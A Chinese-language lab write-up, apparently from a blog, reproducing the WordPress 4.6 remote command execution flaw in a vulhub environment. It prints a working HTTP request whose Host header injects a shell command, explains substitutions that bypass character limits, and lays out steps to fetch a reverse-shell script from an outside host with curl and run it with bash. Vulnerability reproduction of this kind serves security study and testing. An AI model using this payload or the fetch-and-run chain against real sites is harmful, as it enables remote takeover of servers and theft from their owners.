vulhub中Wordpress 4.6 任意命令执行漏洞复现

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:

复制代码
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。

  2. 命令会被转换成小写字母

  3. 命令需要使用绝对路径

  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:

    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径

    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)

  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce

  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)

  • 依次发送这两个拼接好的数据包

相关推荐
电话交换机IPPBX-3CX2 天前
企业电话交换机配置在线聊天功能安装文档
wordpress·ip pbx·电话交换机
彩旗工作室5 天前
WordPress 本地开发环境完全指南:从零开始理解 Local by Flywhee
前端·wordpress·网站
WordPress学习笔记5 天前
wordpress技术外包服务团队
wordpress
WordPress学习笔记14 天前
2015优先中文公司官网wordpress模板
wordpress
WordPress学习笔记21 天前
wordpress网站标题调用 自动判断加不加链接
wordpress
WordPress学习笔记21 天前
wordpress调用当前年份的7种方式
wordpress·wordpress调用
2501_930786291 个月前
WordPress如何绑定多个域名 WordPress实现多域名访问
wordpress
TG_yunshuguoji1 个月前
阿里云代理商:轻量应用服务是什么?怎么用轻量应用服务器搭建个人博客?
服务器·阿里云·云计算·wordpress·个人博客
Web极客码2 个月前
WordPress.com 和 WordPress.org 之间的区别说明
wordpress
记忆不曾留2 个月前
unbuntu 20.04 docker 部署wordpress
运维·docker·容器·wordpress·独立站建站